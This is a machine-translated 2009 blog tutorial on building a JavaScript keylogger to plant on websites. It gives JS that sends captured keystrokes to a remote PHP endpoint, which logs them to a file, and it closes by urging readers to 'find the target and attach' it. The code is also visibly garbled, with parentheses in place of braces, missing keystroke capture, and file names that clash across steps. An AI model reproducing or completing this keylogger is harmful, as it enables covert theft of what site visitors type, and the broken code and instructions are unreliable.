At this time I will discuss a bit about Javascript Keylogger.
Wow ... Moreover tuh, Google may be able to answer you questions.
Oke without many words directly aja yah ...
First, open notepad or a pet you like WordPad, Notepad ++... The point is up ...
Then paste the following code:
[+]----------------------------------------------- -------------------
var key ='';
var space = ''
function start ()
(
var xmlhttp;
if (window.XMLHttpRequest)
(
/ / Code for IE7 +, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest ();
)
else if (window.ActiveXObject)
(
/ / Code for IE6, IE5
xmlhttp = new ActiveXObject ( "Microsoft.XMLHTTP");
)
else
(
alert ( "Browser Support XMLHTTP You Not!");
)
xmlhttp.open ( "POST", "http://yoursite/open.php", true);
xmlhttp.send (null);
)
ajaxFunction function ()
(
var xmlhttp;
if (window.XMLHttpRequest)
(
/ / Code for IE7 +, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest ();
)
else if (window.ActiveXObject)
(
/ / Code for IE6, IE5
xmlhttp = new ActiveXObject ( "Microsoft.XMLHTTP");
)
else
(
alert ( "Your browser does not support XMLHTTP");
)
xmlhttp.open ( "POST", "http://yoursite/write.php?d =" + key, true);
xmlhttp.send (null);
)
document.write ('');
[+]----------------------------------------------- -------------------
Then save it with the name keylog.js ... Remember, JS extension. And one should not forget, "yoursite" is replaced with
URL of your own ...
Create more open.php and write.php in notepad with the following script
open.php
[+]----------------------------------------------- -------------------
$ data = $ _GET [ 'd'];
$ fp = fopen ( 'log.txt', 'a');
fwrite ($ fp, $ data);
fclose ($ fp);
?>
[+]----------------------------------------------- -------------------
salin.php
[+]----------------------------------------------- -------------------
$ data = $ _GET [ 'd'];
$ fp = fopen ( 'log.txt', 'a');
fwrite ($ fp, $ data);
fclose ($ fp);
?>
[+]----------------------------------------------- -------------------
And now you have three files namely keylog.js, open.php, write.php ...
Because I try in localhost then I'll try to make a simple HTML script
that will be used as my own website.
[+]----------------------------------------------- -------------------
Type What You Like That
[+]----------------------------------------------- -------------------
And store with the name zhecou.html
Well if you want to put it in your website then you simply add
[+]----------------------------------------------- -------------------
[+]----------------------------------------------- -------------------
Ngerti? Now place the four files zhecou.html, keylog.js, open.php and start.php
in the same directory. Well I in my directory C: mysite
because I use WAMP server
Now therefore, I will change the URL in the keylog.js be
[+]----------------------------------------------- -------------------
http://localhost/mysite
[+]----------------------------------------------- -------------------
Practice
So when you open a browser and direct you to http://localhost/mysite/zhecou.html
Well here you can type are
I will type "Many Thanks Dah guzzle You To See The Article Here"
So you will see the emergence hasil.txt that contain those words
Okay here until the first well, this article may be less useful but ... Only that
I can give ...
Now that you have to do is find the target and attach to keylog
I really comparable with the r57, C99, C100, dkk but definitely happy to be developed if ..
Senin, 13 Juli 2009
Make Keylogger with javascript on the website
Langganan:
Posting Komentar (Atom)
0 komentar:
Posting Komentar